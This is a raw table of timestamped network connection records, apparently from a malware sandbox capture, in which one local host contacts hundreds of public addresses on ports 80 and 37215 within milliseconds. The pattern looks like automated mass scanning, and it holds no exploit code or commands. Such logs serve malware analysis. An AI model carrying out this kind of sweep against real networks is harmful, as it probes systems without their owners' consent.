Dec 3, 2024 21:30:43.324368954 CET	59010	80	192.168.2.23	209.156.95.132
Dec 3, 2024 21:30:43.324388981 CET	59010	80	192.168.2.23	164.75.8.233
Dec 3, 2024 21:30:43.324400902 CET	59010	80	192.168.2.23	25.229.59.163
Dec 3, 2024 21:30:43.324431896 CET	80	59010	103.54.151.1	192.168.2.23
Dec 3, 2024 21:30:43.324441910 CET	80	59010	178.213.17.7	192.168.2.23
Dec 3, 2024 21:30:43.324459076 CET	80	59010	181.52.60.174	192.168.2.23
Dec 3, 2024 21:30:43.324470043 CET	80	59010	134.52.33.141	192.168.2.23
Dec 3, 2024 21:30:43.324472904 CET	59010	80	192.168.2.23	103.54.151.1
Dec 3, 2024 21:30:43.324474096 CET	59010	80	192.168.2.23	178.213.17.7
Dec 3, 2024 21:30:43.324481964 CET	80	59010	74.204.164.212	192.168.2.23
Dec 3, 2024 21:30:43.324493885 CET	80	59010	171.136.214.248	192.168.2.23
Dec 3, 2024 21:30:43.324506044 CET	59010	80	192.168.2.23	181.52.60.174
Dec 3, 2024 21:30:43.324512959 CET	59010	80	192.168.2.23	134.52.33.141
Dec 3, 2024 21:30:43.324517012 CET	59010	80	192.168.2.23	74.204.164.212
Dec 3, 2024 21:30:43.324537039 CET	59010	80	192.168.2.23	171.136.214.248
Dec 3, 2024 21:30:43.324593067 CET	80	59010	220.153.200.130	192.168.2.23
Dec 3, 2024 21:30:43.324601889 CET	80	59010	39.219.178.204	192.168.2.23
Dec 3, 2024 21:30:43.324609995 CET	80	59010	174.175.130.210	192.168.2.23
Dec 3, 2024 21:30:43.324619055 CET	80	59010	148.143.186.123	192.168.2.23
Dec 3, 2024 21:30:43.324623108 CET	80	59010	161.141.72.190	192.168.2.23
Dec 3, 2024 21:30:43.324631929 CET	59010	80	192.168.2.23	39.219.178.204
Dec 3, 2024 21:30:43.324634075 CET	59010	80	192.168.2.23	220.153.200.130
Dec 3, 2024 21:30:43.324641943 CET	80	59010	66.32.201.184	192.168.2.23
Dec 3, 2024 21:30:43.324652910 CET	80	59010	86.122.140.110	192.168.2.23
Dec 3, 2024 21:30:43.324656010 CET	59010	80	192.168.2.23	174.175.130.210
Dec 3, 2024 21:30:43.324661970 CET	80	59010	183.216.95.142	192.168.2.23
Dec 3, 2024 21:30:43.324665070 CET	59010	80	192.168.2.23	161.141.72.190
Dec 3, 2024 21:30:43.324666977 CET	59010	80	192.168.2.23	148.143.186.123
Dec 3, 2024 21:30:43.324681997 CET	59010	80	192.168.2.23	86.122.140.110
Dec 3, 2024 21:30:43.324683905 CET	59010	80	192.168.2.23	66.32.201.184
Dec 3, 2024 21:30:43.324686050 CET	80	59010	152.81.18.137	192.168.2.23
Dec 3, 2024 21:30:43.324696064 CET	80	59010	200.193.170.175	192.168.2.23
Dec 3, 2024 21:30:43.324704885 CET	80	59010	180.135.72.62	192.168.2.23
Dec 3, 2024 21:30:43.324708939 CET	59010	80	192.168.2.23	183.216.95.142
Dec 3, 2024 21:30:43.324726105 CET	59010	80	192.168.2.23	152.81.18.137
Dec 3, 2024 21:30:43.324734926 CET	59010	80	192.168.2.23	200.193.170.175
Dec 3, 2024 21:30:43.324734926 CET	59010	80	192.168.2.23	180.135.72.62
Dec 3, 2024 21:30:43.324739933 CET	80	59010	65.102.140.25	192.168.2.23
Dec 3, 2024 21:30:43.324763060 CET	80	59010	70.60.103.42	192.168.2.23
Dec 3, 2024 21:30:43.324774981 CET	80	59010	220.234.189.41	192.168.2.23
Dec 3, 2024 21:30:43.324783087 CET	59010	80	192.168.2.23	65.102.140.25
Dec 3, 2024 21:30:43.324795008 CET	80	59010	84.220.151.92	192.168.2.23
Dec 3, 2024 21:30:43.324804068 CET	59010	80	192.168.2.23	70.60.103.42
Dec 3, 2024 21:30:43.324836016 CET	59010	80	192.168.2.23	84.220.151.92
Dec 3, 2024 21:30:43.324836969 CET	59010	80	192.168.2.23	220.234.189.41
Dec 3, 2024 21:30:43.325712919 CET	80	59010	197.2.95.160	192.168.2.23
Dec 3, 2024 21:30:43.325728893 CET	80	59010	13.119.183.35	192.168.2.23
Dec 3, 2024 21:30:43.325753927 CET	80	59010	35.110.137.72	192.168.2.23
Dec 3, 2024 21:30:43.325763941 CET	80	59010	217.124.234.0	192.168.2.23
Dec 3, 2024 21:30:43.325769901 CET	59010	80	192.168.2.23	13.119.183.35
Dec 3, 2024 21:30:43.325773001 CET	59010	80	192.168.2.23	197.2.95.160
Dec 3, 2024 21:30:43.325774908 CET	80	59010	14.45.60.246	192.168.2.23
Dec 3, 2024 21:30:43.325786114 CET	80	59010	142.128.105.41	192.168.2.23
Dec 3, 2024 21:30:43.325795889 CET	80	59010	177.189.118.104	192.168.2.23
Dec 3, 2024 21:30:43.325797081 CET	59010	80	192.168.2.23	35.110.137.72
Dec 3, 2024 21:30:43.325815916 CET	80	59010	69.195.1.20	192.168.2.23
Dec 3, 2024 21:30:43.325825930 CET	59010	80	192.168.2.23	142.128.105.41
Dec 3, 2024 21:30:43.325828075 CET	59010	80	192.168.2.23	217.124.234.0
Dec 3, 2024 21:30:43.325830936 CET	59010	80	192.168.2.23	177.189.118.104
Dec 3, 2024 21:30:43.325830936 CET	59010	80	192.168.2.23	14.45.60.246
Dec 3, 2024 21:30:43.325841904 CET	80	59010	96.108.67.219	192.168.2.23
Dec 3, 2024 21:30:43.325853109 CET	59010	80	192.168.2.23	69.195.1.20
Dec 3, 2024 21:30:43.325862885 CET	80	59010	60.121.215.27	192.168.2.23
Dec 3, 2024 21:30:43.325871944 CET	80	59010	152.205.232.0	192.168.2.23
Dec 3, 2024 21:30:43.325881004 CET	80	59010	222.216.179.147	192.168.2.23
Dec 3, 2024 21:30:43.325886011 CET	59010	80	192.168.2.23	96.108.67.219
Dec 3, 2024 21:30:43.325900078 CET	59010	80	192.168.2.23	60.121.215.27
Dec 3, 2024 21:30:43.325911045 CET	59010	80	192.168.2.23	152.205.232.0
Dec 3, 2024 21:30:43.325921059 CET	59010	80	192.168.2.23	222.216.179.147
Dec 3, 2024 21:30:43.325967073 CET	80	59010	53.153.132.229	192.168.2.23
Dec 3, 2024 21:30:43.325978041 CET	80	59010	27.129.68.177	192.168.2.23
Dec 3, 2024 21:30:43.325988054 CET	80	59010	61.247.244.126	192.168.2.23
Dec 3, 2024 21:30:43.325997114 CET	80	59010	79.0.15.191	192.168.2.23
Dec 3, 2024 21:30:43.326004982 CET	80	59010	187.16.176.135	192.168.2.23
Dec 3, 2024 21:30:43.326006889 CET	59010	80	192.168.2.23	53.153.132.229
Dec 3, 2024 21:30:43.326009989 CET	80	59010	171.130.141.183	192.168.2.23
Dec 3, 2024 21:30:43.326021910 CET	80	59010	36.184.43.209	192.168.2.23
Dec 3, 2024 21:30:43.326031923 CET	59010	80	192.168.2.23	27.129.68.177
Dec 3, 2024 21:30:43.326040030 CET	80	59010	159.189.164.179	192.168.2.23
Dec 3, 2024 21:30:43.326040030 CET	59010	80	192.168.2.23	187.16.176.135
Dec 3, 2024 21:30:43.326049089 CET	80	59010	20.105.54.223	192.168.2.23
Dec 3, 2024 21:30:43.326051950 CET	59010	80	192.168.2.23	61.247.244.126
Dec 3, 2024 21:30:43.326059103 CET	80	59010	86.238.242.60	192.168.2.23
Dec 3, 2024 21:30:43.326065063 CET	59010	80	192.168.2.23	36.184.43.209
Dec 3, 2024 21:30:43.326067924 CET	80	59010	140.211.71.12	192.168.2.23
Dec 3, 2024 21:30:43.326069117 CET	59010	80	192.168.2.23	79.0.15.191
Dec 3, 2024 21:30:43.326070070 CET	59010	80	192.168.2.23	171.130.141.183
Dec 3, 2024 21:30:43.326072931 CET	59010	80	192.168.2.23	20.105.54.223
Dec 3, 2024 21:30:43.326073885 CET	59010	80	192.168.2.23	159.189.164.179
Dec 3, 2024 21:30:43.326093912 CET	59010	80	192.168.2.23	86.238.242.60
Dec 3, 2024 21:30:43.326111078 CET	59010	80	192.168.2.23	140.211.71.12
Dec 3, 2024 21:30:43.326565027 CET	80	59010	93.250.214.35	192.168.2.23
Dec 3, 2024 21:30:43.326577902 CET	80	59010	99.39.9.67	192.168.2.23
Dec 3, 2024 21:30:43.326586962 CET	80	59010	61.127.41.250	192.168.2.23
Dec 3, 2024 21:30:43.326595068 CET	80	59010	213.25.116.231	192.168.2.23
Dec 3, 2024 21:30:43.326606035 CET	80	59010	184.236.250.11	192.168.2.23
Dec 3, 2024 21:30:43.326611996 CET	59010	80	192.168.2.23	99.39.9.67
Dec 3, 2024 21:30:43.326620102 CET	59010	80	192.168.2.23	93.250.214.35
Dec 3, 2024 21:30:43.326621056 CET	59010	80	192.168.2.23	61.127.41.250
Dec 3, 2024 21:30:43.326643944 CET	59010	80	192.168.2.23	184.236.250.11
Dec 3, 2024 21:30:43.326657057 CET	59010	80	192.168.2.23	213.25.116.231
Dec 3, 2024 21:30:43.326725960 CET	80	59010	191.64.43.173	192.168.2.23
Dec 3, 2024 21:30:43.326749086 CET	80	59010	137.20.117.114	192.168.2.23
Dec 3, 2024 21:30:43.326759100 CET	80	59010	41.166.199.136	192.168.2.23
Dec 3, 2024 21:30:43.326767921 CET	80	59010	12.60.250.105	192.168.2.23
Dec 3, 2024 21:30:43.326769114 CET	59010	80	192.168.2.23	191.64.43.173
Dec 3, 2024 21:30:43.326787949 CET	59010	80	192.168.2.23	137.20.117.114
Dec 3, 2024 21:30:43.326800108 CET	59010	80	192.168.2.23	41.166.199.136
Dec 3, 2024 21:30:43.326811075 CET	59010	80	192.168.2.23	12.60.250.105
Dec 3, 2024 21:30:43.326818943 CET	80	59010	209.11.83.80	192.168.2.23
Dec 3, 2024 21:30:43.326828957 CET	80	59010	157.51.145.239	192.168.2.23
Dec 3, 2024 21:30:43.326838017 CET	80	59010	196.82.78.164	192.168.2.23
Dec 3, 2024 21:30:43.326854944 CET	80	59010	44.126.255.156	192.168.2.23
Dec 3, 2024 21:30:43.326862097 CET	59010	80	192.168.2.23	157.51.145.239
Dec 3, 2024 21:30:43.326863050 CET	59010	80	192.168.2.23	209.11.83.80
Dec 3, 2024 21:30:43.326864958 CET	80	59010	126.130.176.86	192.168.2.23
Dec 3, 2024 21:30:43.326874018 CET	80	59010	170.192.12.200	192.168.2.23
Dec 3, 2024 21:30:43.326889038 CET	59010	80	192.168.2.23	196.82.78.164
Dec 3, 2024 21:30:43.326899052 CET	59010	80	192.168.2.23	44.126.255.156
Dec 3, 2024 21:30:43.326899052 CET	80	59010	110.91.186.125	192.168.2.23
Dec 3, 2024 21:30:43.326900959 CET	59010	80	192.168.2.23	126.130.176.86
Dec 3, 2024 21:30:43.326910019 CET	80	59010	163.176.194.162	192.168.2.23
Dec 3, 2024 21:30:43.326914072 CET	59010	80	192.168.2.23	170.192.12.200
Dec 3, 2024 21:30:43.326925039 CET	80	59010	66.148.200.254	192.168.2.23
Dec 3, 2024 21:30:43.326934099 CET	59010	80	192.168.2.23	110.91.186.125
Dec 3, 2024 21:30:43.326956034 CET	59010	80	192.168.2.23	66.148.200.254
Dec 3, 2024 21:30:43.326956034 CET	59010	80	192.168.2.23	163.176.194.162
Dec 3, 2024 21:30:43.326988935 CET	80	59010	219.87.75.129	192.168.2.23
Dec 3, 2024 21:30:43.326999903 CET	80	59010	124.218.56.108	192.168.2.23
Dec 3, 2024 21:30:43.327008009 CET	80	59010	137.115.40.177	192.168.2.23
Dec 3, 2024 21:30:43.327017069 CET	80	59010	191.196.219.188	192.168.2.23
Dec 3, 2024 21:30:43.327028036 CET	80	59010	153.199.159.24	192.168.2.23
Dec 3, 2024 21:30:43.327029943 CET	59010	80	192.168.2.23	124.218.56.108
Dec 3, 2024 21:30:43.327029943 CET	59010	80	192.168.2.23	137.115.40.177
Dec 3, 2024 21:30:43.327039957 CET	59010	80	192.168.2.23	219.87.75.129
Dec 3, 2024 21:30:43.327045918 CET	80	59010	121.108.187.118	192.168.2.23
Dec 3, 2024 21:30:43.327054024 CET	59010	80	192.168.2.23	191.196.219.188
Dec 3, 2024 21:30:43.327058077 CET	59010	80	192.168.2.23	153.199.159.24
Dec 3, 2024 21:30:43.327066898 CET	80	59010	125.34.11.242	192.168.2.23
Dec 3, 2024 21:30:43.327075958 CET	80	59010	195.105.113.57	192.168.2.23
Dec 3, 2024 21:30:43.327083111 CET	59010	80	192.168.2.23	121.108.187.118
Dec 3, 2024 21:30:43.327091932 CET	80	59010	116.46.43.32	192.168.2.23
Dec 3, 2024 21:30:43.327111006 CET	59010	80	192.168.2.23	125.34.11.242
Dec 3, 2024 21:30:43.327116966 CET	59010	80	192.168.2.23	195.105.113.57
Dec 3, 2024 21:30:43.327131033 CET	59010	80	192.168.2.23	116.46.43.32
Dec 3, 2024 21:30:43.327132940 CET	80	59010	62.185.42.38	192.168.2.23
Dec 3, 2024 21:30:43.327142954 CET	80	59010	142.254.178.19	192.168.2.23
Dec 3, 2024 21:30:43.327152014 CET	80	59010	208.219.167.182	192.168.2.23
Dec 3, 2024 21:30:43.327162027 CET	80	59010	160.235.6.203	192.168.2.23
Dec 3, 2024 21:30:43.327171087 CET	80	59010	57.17.226.8	192.168.2.23
Dec 3, 2024 21:30:43.327171087 CET	59010	80	192.168.2.23	62.185.42.38
Dec 3, 2024 21:30:43.327181101 CET	59010	80	192.168.2.23	208.219.167.182
Dec 3, 2024 21:30:43.327184916 CET	59010	80	192.168.2.23	142.254.178.19
Dec 3, 2024 21:30:43.327194929 CET	59010	80	192.168.2.23	160.235.6.203
Dec 3, 2024 21:30:43.327204943 CET	59010	80	192.168.2.23	57.17.226.8
Dec 3, 2024 21:30:43.327229977 CET	80	59010	19.113.217.80	192.168.2.23
Dec 3, 2024 21:30:43.327275038 CET	59010	80	192.168.2.23	19.113.217.80
Dec 3, 2024 21:30:43.328250885 CET	80	59010	141.37.9.1	192.168.2.23
Dec 3, 2024 21:30:43.328279018 CET	80	59010	176.111.77.133	192.168.2.23
Dec 3, 2024 21:30:43.328289032 CET	80	59010	20.66.53.0	192.168.2.23
Dec 3, 2024 21:30:43.328299999 CET	80	59010	186.216.208.104	192.168.2.23
Dec 3, 2024 21:30:43.328300953 CET	59010	80	192.168.2.23	141.37.9.1
Dec 3, 2024 21:30:43.328324080 CET	59010	80	192.168.2.23	20.66.53.0
Dec 3, 2024 21:30:43.328329086 CET	59010	80	192.168.2.23	176.111.77.133
Dec 3, 2024 21:30:43.328337908 CET	59010	80	192.168.2.23	186.216.208.104
Dec 3, 2024 21:30:43.328341007 CET	80	59010	44.118.21.75	192.168.2.23
Dec 3, 2024 21:30:43.328351974 CET	80	59010	20.124.85.188	192.168.2.23
Dec 3, 2024 21:30:43.328378916 CET	59010	80	192.168.2.23	44.118.21.75
Dec 3, 2024 21:30:43.328380108 CET	80	59010	125.255.239.164	192.168.2.23
Dec 3, 2024 21:30:43.328401089 CET	59010	80	192.168.2.23	20.124.85.188
Dec 3, 2024 21:30:43.328414917 CET	59010	80	192.168.2.23	125.255.239.164
Dec 3, 2024 21:30:43.328433037 CET	80	59010	219.210.6.140	192.168.2.23
Dec 3, 2024 21:30:43.328443050 CET	80	59010	27.102.34.42	192.168.2.23
Dec 3, 2024 21:30:43.328461885 CET	80	59010	24.226.125.233	192.168.2.23
Dec 3, 2024 21:30:43.328483105 CET	59010	80	192.168.2.23	27.102.34.42
Dec 3, 2024 21:30:43.328486919 CET	59010	80	192.168.2.23	219.210.6.140
Dec 3, 2024 21:30:43.328495026 CET	80	59010	8.55.198.39	192.168.2.23
Dec 3, 2024 21:30:43.328505039 CET	59010	80	192.168.2.23	24.226.125.233
Dec 3, 2024 21:30:43.328505993 CET	80	59010	210.168.27.9	192.168.2.23
Dec 3, 2024 21:30:43.328515053 CET	80	59010	51.23.138.176	192.168.2.23
Dec 3, 2024 21:30:43.328533888 CET	59010	80	192.168.2.23	51.23.138.176
Dec 3, 2024 21:30:43.328536987 CET	59010	80	192.168.2.23	210.168.27.9
Dec 3, 2024 21:30:43.328541994 CET	59010	80	192.168.2.23	8.55.198.39
Dec 3, 2024 21:30:43.328564882 CET	80	59010	112.7.208.160	192.168.2.23
Dec 3, 2024 21:30:43.328574896 CET	80	59010	204.12.246.194	192.168.2.23
Dec 3, 2024 21:30:43.328583956 CET	80	59010	163.229.255.63	192.168.2.23
Dec 3, 2024 21:30:43.328607082 CET	59010	80	192.168.2.23	112.7.208.160
Dec 3, 2024 21:30:43.328608990 CET	80	59010	186.127.219.39	192.168.2.23
Dec 3, 2024 21:30:43.328610897 CET	59010	80	192.168.2.23	204.12.246.194
Dec 3, 2024 21:30:43.328619003 CET	59010	80	192.168.2.23	163.229.255.63
Dec 3, 2024 21:30:43.328619957 CET	80	59010	18.66.110.92	192.168.2.23
Dec 3, 2024 21:30:43.328636885 CET	80	59010	60.124.72.121	192.168.2.23
Dec 3, 2024 21:30:43.328649998 CET	59010	80	192.168.2.23	186.127.219.39
Dec 3, 2024 21:30:43.328655005 CET	80	59010	100.234.240.244	192.168.2.23
Dec 3, 2024 21:30:43.328660011 CET	59010	80	192.168.2.23	18.66.110.92
Dec 3, 2024 21:30:43.328665018 CET	80	59010	141.197.192.69	192.168.2.23
Dec 3, 2024 21:30:43.328671932 CET	59010	80	192.168.2.23	60.124.72.121
Dec 3, 2024 21:30:43.328672886 CET	80	59010	175.47.103.167	192.168.2.23
Dec 3, 2024 21:30:43.328685999 CET	80	59010	134.24.133.4	192.168.2.23
Dec 3, 2024 21:30:43.328696012 CET	80	59010	216.109.228.205	192.168.2.23
Dec 3, 2024 21:30:43.328704119 CET	59010	80	192.168.2.23	141.197.192.69
Dec 3, 2024 21:30:43.328704119 CET	59010	80	192.168.2.23	100.234.240.244
Dec 3, 2024 21:30:43.328710079 CET	59010	80	192.168.2.23	175.47.103.167
Dec 3, 2024 21:30:43.328718901 CET	80	59010	202.239.60.244	192.168.2.23
Dec 3, 2024 21:30:43.328721046 CET	59010	80	192.168.2.23	134.24.133.4
Dec 3, 2024 21:30:43.328731060 CET	80	59010	162.193.217.113	192.168.2.23
Dec 3, 2024 21:30:43.328737020 CET	59010	80	192.168.2.23	216.109.228.205
Dec 3, 2024 21:30:43.328739882 CET	80	59010	140.152.95.54	192.168.2.23
Dec 3, 2024 21:30:43.328756094 CET	59010	80	192.168.2.23	202.239.60.244
Dec 3, 2024 21:30:43.328759909 CET	59010	80	192.168.2.23	162.193.217.113
Dec 3, 2024 21:30:43.328779936 CET	59010	80	192.168.2.23	140.152.95.54
Dec 3, 2024 21:30:43.328831911 CET	80	59010	97.190.83.101	192.168.2.23
Dec 3, 2024 21:30:43.328871965 CET	59010	80	192.168.2.23	97.190.83.101
Dec 3, 2024 21:30:43.329561949 CET	80	59010	182.52.199.17	192.168.2.23
Dec 3, 2024 21:30:43.329575062 CET	80	59010	125.22.225.130	192.168.2.23
Dec 3, 2024 21:30:43.329587936 CET	80	59010	89.10.205.73	192.168.2.23
Dec 3, 2024 21:30:43.329606056 CET	80	59010	150.58.16.236	192.168.2.23
Dec 3, 2024 21:30:43.329610109 CET	59010	80	192.168.2.23	125.22.225.130
Dec 3, 2024 21:30:43.329611063 CET	59010	80	192.168.2.23	182.52.199.17
Dec 3, 2024 21:30:43.329616070 CET	80	59010	205.54.9.178	192.168.2.23
Dec 3, 2024 21:30:43.329632998 CET	59010	80	192.168.2.23	89.10.205.73
Dec 3, 2024 21:30:43.329638004 CET	59010	80	192.168.2.23	150.58.16.236
Dec 3, 2024 21:30:43.329651117 CET	59010	80	192.168.2.23	205.54.9.178
Dec 3, 2024 21:30:43.329835892 CET	80	59010	186.172.253.53	192.168.2.23
Dec 3, 2024 21:30:43.329848051 CET	80	59010	164.108.165.172	192.168.2.23
Dec 3, 2024 21:30:43.329857111 CET	37215	59009	197.32.51.7	192.168.2.23
Dec 3, 2024 21:30:43.329865932 CET	37215	59009	197.98.182.98	192.168.2.23
Dec 3, 2024 21:30:43.329874992 CET	37215	59009	156.60.99.5	192.168.2.23
Dec 3, 2024 21:30:43.329881907 CET	59010	80	192.168.2.23	186.172.253.53
Dec 3, 2024 21:30:43.329885960 CET	37215	59009	197.39.38.207	192.168.2.23
Dec 3, 2024 21:30:43.329890966 CET	59010	80	192.168.2.23	164.108.165.172
Dec 3, 2024 21:30:43.329894066 CET	59009	37215	192.168.2.23	197.98.182.98
Dec 3, 2024 21:30:43.329896927 CET	37215	59009	41.77.191.41	192.168.2.23
Dec 3, 2024 21:30:43.329902887 CET	59009	37215	192.168.2.23	197.32.51.7
Dec 3, 2024 21:30:43.329907894 CET	37215	59009	197.136.90.92	192.168.2.23
Dec 3, 2024 21:30:43.329909086 CET	59009	37215	192.168.2.23	156.60.99.5
Dec 3, 2024 21:30:43.329917908 CET	37215	59009	197.160.104.185	192.168.2.23
Dec 3, 2024 21:30:43.329926968 CET	59009	37215	192.168.2.23	197.39.38.207
Dec 3, 2024 21:30:43.329927921 CET	59009	37215	192.168.2.23	41.77.191.41
Dec 3, 2024 21:30:43.329933882 CET	59009	37215	192.168.2.23	197.136.90.92
Dec 3, 2024 21:30:43.329935074 CET	37215	59009	156.184.92.118	192.168.2.23
Dec 3, 2024 21:30:43.329945087 CET	37215	59009	156.176.87.163	192.168.2.23
Dec 3, 2024 21:30:43.329946995 CET	59009	37215	192.168.2.23	197.160.104.185
Dec 3, 2024 21:30:43.329953909 CET	37215	59009	41.208.39.236	192.168.2.23
Dec 3, 2024 21:30:43.329963923 CET	37215	59009	197.81.51.178	192.168.2.23
Dec 3, 2024 21:30:43.329963923 CET	59009	37215	192.168.2.23	156.184.92.118
Dec 3, 2024 21:30:43.329969883 CET	59009	37215	192.168.2.23	156.176.87.163
Dec 3, 2024 21:30:43.329973936 CET	37215	59009	41.74.15.212	192.168.2.23
Dec 3, 2024 21:30:43.329989910 CET	37215	59009	197.54.134.43	192.168.2.23
Dec 3, 2024 21:30:43.329998970 CET	37215	59009	197.76.218.100	192.168.2.23
Dec 3, 2024 21:30:43.329999924 CET	59009	37215	192.168.2.23	41.208.39.236
Dec 3, 2024 21:30:43.330008984 CET	37215	59009	41.121.170.57	192.168.2.23
Dec 3, 2024 21:30:43.330010891 CET	59009	37215	192.168.2.23	41.74.15.212
Dec 3, 2024 21:30:43.330013037 CET	59009	37215	192.168.2.23	197.81.51.178
Dec 3, 2024 21:30:43.330019951 CET	37215	59009	156.36.164.130	192.168.2.23
Dec 3, 2024 21:30:43.330029964 CET	37215	59009	156.15.248.101	192.168.2.23
Dec 3, 2024 21:30:43.330030918 CET	59009	37215	192.168.2.23	197.76.218.100
Dec 3, 2024 21:30:43.330034018 CET	59009	37215	192.168.2.23	197.54.134.43
Dec 3, 2024 21:30:43.330038071 CET	37215	59009	197.195.210.69	192.168.2.23
Dec 3, 2024 21:30:43.330045938 CET	59009	37215	192.168.2.23	41.121.170.57
Dec 3, 2024 21:30:43.330049992 CET	59009	37215	192.168.2.23	156.36.164.130
Dec 3, 2024 21:30:43.330054998 CET	59009	37215	192.168.2.23	156.15.248.101
Dec 3, 2024 21:30:43.330061913 CET	37215	59009	197.206.237.25	192.168.2.23
Dec 3, 2024 21:30:43.330068111 CET	59009	37215	192.168.2.23	197.195.210.69
Dec 3, 2024 21:30:43.330071926 CET	37215	59009	197.29.107.62	192.168.2.23
Dec 3, 2024 21:30:43.330086946 CET	37215	59009	41.31.168.102	192.168.2.23
Dec 3, 2024 21:30:43.330094099 CET	59009	37215	192.168.2.23	197.206.237.25
Dec 3, 2024 21:30:43.330112934 CET	59009	37215	192.168.2.23	197.29.107.62
Dec 3, 2024 21:30:43.330125093 CET	59009	37215	192.168.2.23	41.31.168.102
Dec 3, 2024 21:30:43.330807924 CET	37215	59009	41.197.178.232	192.168.2.23
Dec 3, 2024 21:30:43.330821991 CET	37215	59009	156.203.209.90	192.168.2.23
Dec 3, 2024 21:30:43.330833912 CET	37215	59009	156.63.221.226	192.168.2.23
Dec 3, 2024 21:30:43.330842972 CET	37215	59009	41.254.17.254	192.168.2.23
Dec 3, 2024 21:30:43.330851078 CET	59009	37215	192.168.2.23	156.203.209.90
Dec 3, 2024 21:30:43.330852032 CET	59009	37215	192.168.2.23	41.197.178.232
Dec 3, 2024 21:30:43.330869913 CET	59009	37215	192.168.2.23	156.63.221.226
Dec 3, 2024 21:30:43.330871105 CET	59009	37215	192.168.2.23	41.254.17.254
Dec 3, 2024 21:30:43.330883980 CET	37215	59009	41.36.11.168	192.168.2.23
Dec 3, 2024 21:30:43.330893993 CET	37215	59009	197.146.51.255	192.168.2.23
Dec 3, 2024 21:30:43.330915928 CET	37215	59009	41.41.84.164	192.168.2.23
Dec 3, 2024 21:30:43.330929995 CET	37215	59009	197.45.56.32	192.168.2.23
Dec 3, 2024 21:30:43.330935001 CET	59009	37215	192.168.2.23	41.36.11.168
Dec 3, 2024 21:30:43.330944061 CET	37215	59009	197.98.116.45	192.168.2.23
Dec 3, 2024 21:30:43.330946922 CET	59009	37215	192.168.2.23	41.41.84.164
Dec 3, 2024 21:30:43.330954075 CET	37215	59009	156.169.141.134	192.168.2.23
Dec 3, 2024 21:30:43.330960035 CET	59009	37215	192.168.2.23	197.146.51.255
Dec 3, 2024 21:30:43.330962896 CET	37215	59009	41.191.109.245	192.168.2.23
Dec 3, 2024 21:30:43.330970049 CET	59009	37215	192.168.2.23	197.98.116.45
Dec 3, 2024 21:30:43.330972910 CET	59009	37215	192.168.2.23	197.45.56.32
Dec 3, 2024 21:30:43.330980062 CET	37215	59009	156.36.107.252	192.168.2.23
Dec 3, 2024 21:30:43.330980062 CET	59009	37215	192.168.2.23	156.169.141.134
Dec 3, 2024 21:30:43.330990076 CET	59009	37215	192.168.2.23	41.191.109.245
Dec 3, 2024 21:30:43.330997944 CET	37215	59009	156.148.164.50	192.168.2.23
Dec 3, 2024 21:30:43.331008911 CET	37215	59009	156.126.74.172	192.168.2.23
Dec 3, 2024 21:30:43.331017971 CET	37215	59009	41.18.41.205	192.168.2.23
Dec 3, 2024 21:30:43.331024885 CET	59009	37215	192.168.2.23	156.36.107.252
Dec 3, 2024 21:30:43.331026077 CET	37215	59009	197.154.81.2	192.168.2.23
Dec 3, 2024 21:30:43.331036091 CET	37215	59009	197.186.124.82	192.168.2.23
Dec 3, 2024 21:30:43.331044912 CET	37215	59009	197.178.68.92	192.168.2.23
Dec 3, 2024 21:30:43.331044912 CET	59009	37215	192.168.2.23	156.148.164.50
Dec 3, 2024 21:30:43.331051111 CET	59009	37215	192.168.2.23	156.126.74.172
Dec 3, 2024 21:30:43.331056118 CET	37215	59009	156.216.224.152	192.168.2.23
Dec 3, 2024 21:30:43.331065893 CET	59009	37215	192.168.2.23	41.18.41.205
Dec 3, 2024 21:30:43.331067085 CET	37215	59009	156.56.10.211	192.168.2.23
Dec 3, 2024 21:30:43.331070900 CET	59009	37215	192.168.2.23	197.178.68.92
Dec 3, 2024 21:30:43.331070900 CET	59009	37215	192.168.2.23	197.154.81.2
Dec 3, 2024 21:30:43.331070900 CET	59009	37215	192.168.2.23	197.186.124.82
Dec 3, 2024 21:30:43.331077099 CET	37215	59009	197.110.94.143	192.168.2.23
Dec 3, 2024 21:30:43.331087112 CET	37215	59009	156.14.81.44	192.168.2.23
Dec 3, 2024 21:30:43.331091881 CET	59009	37215	192.168.2.23	156.216.224.152
Dec 3, 2024 21:30:43.331095934 CET	37215	59009	41.126.113.45	192.168.2.23
Dec 3, 2024 21:30:43.331109047 CET	59009	37215	192.168.2.23	156.56.10.211
Dec 3, 2024 21:30:43.331118107 CET	59009	37215	192.168.2.23	197.110.94.143
Dec 3, 2024 21:30:43.331135035 CET	59009	37215	192.168.2.23	156.14.81.44
Dec 3, 2024 21:30:43.331140995 CET	59009	37215	192.168.2.23	41.126.113.45
Dec 3, 2024 21:30:43.331259966 CET	37215	59009	41.114.146.93	192.168.2.23
Dec 3, 2024 21:30:43.331269979 CET	37215	59009	197.59.33.180	192.168.2.23
Dec 3, 2024 21:30:43.331279039 CET	37215	59009	41.68.40.26	192.168.2.23
Dec 3, 2024 21:30:43.331291914 CET	37215	59009	41.153.127.153	192.168.2.23
Dec 3, 2024 21:30:43.331301928 CET	37215	59009	41.44.9.30	192.168.2.23
Dec 3, 2024 21:30:43.331325054 CET	59009	37215	192.168.2.23	197.59.33.180
Dec 3, 2024 21:30:43.331325054 CET	59009	37215	192.168.2.23	41.68.40.26
Dec 3, 2024 21:30:43.331329107 CET	59009	37215	192.168.2.23	41.153.127.153
Dec 3, 2024 21:30:43.331336021 CET	59009	37215	192.168.2.23	41.114.146.93
Dec 3, 2024 21:30:43.331343889 CET	59009	37215	192.168.2.23	41.44.9.30
Dec 3, 2024 21:30:43.332104921 CET	37215	59009	41.27.126.2	192.168.2.23
Dec 3, 2024 21:30:43.332118034 CET	37215	59009	156.79.99.174	192.168.2.23
Dec 3, 2024 21:30:43.332128048 CET	37215	59009	197.137.40.192	192.168.2.23
Dec 3, 2024 21:30:43.332168102 CET	37215	59009	197.227.233.36	192.168.2.23
Dec 3, 2024 21:30:43.332168102 CET	59009	37215	192.168.2.23	156.79.99.174
Dec 3, 2024 21:30:43.332173109 CET	59009	37215	192.168.2.23	41.27.126.2
Dec 3, 2024 21:30:43.332174063 CET	59009	37215	192.168.2.23	197.137.40.192
Dec 3, 2024 21:30:43.332181931 CET	37215	59009	41.188.120.151	192.168.2.23
Dec 3, 2024 21:30:43.332192898 CET	37215	59009	41.224.14.1	192.168.2.23
Dec 3, 2024 21:30:43.332204103 CET	37215	59009	156.222.132.157	192.168.2.23
Dec 3, 2024 21:30:43.332209110 CET	59009	37215	192.168.2.23	197.227.233.36
Dec 3, 2024 21:30:43.332222939 CET	59009	37215	192.168.2.23	41.224.14.1
Dec 3, 2024 21:30:43.332222939 CET	59009	37215	192.168.2.23	41.188.120.151
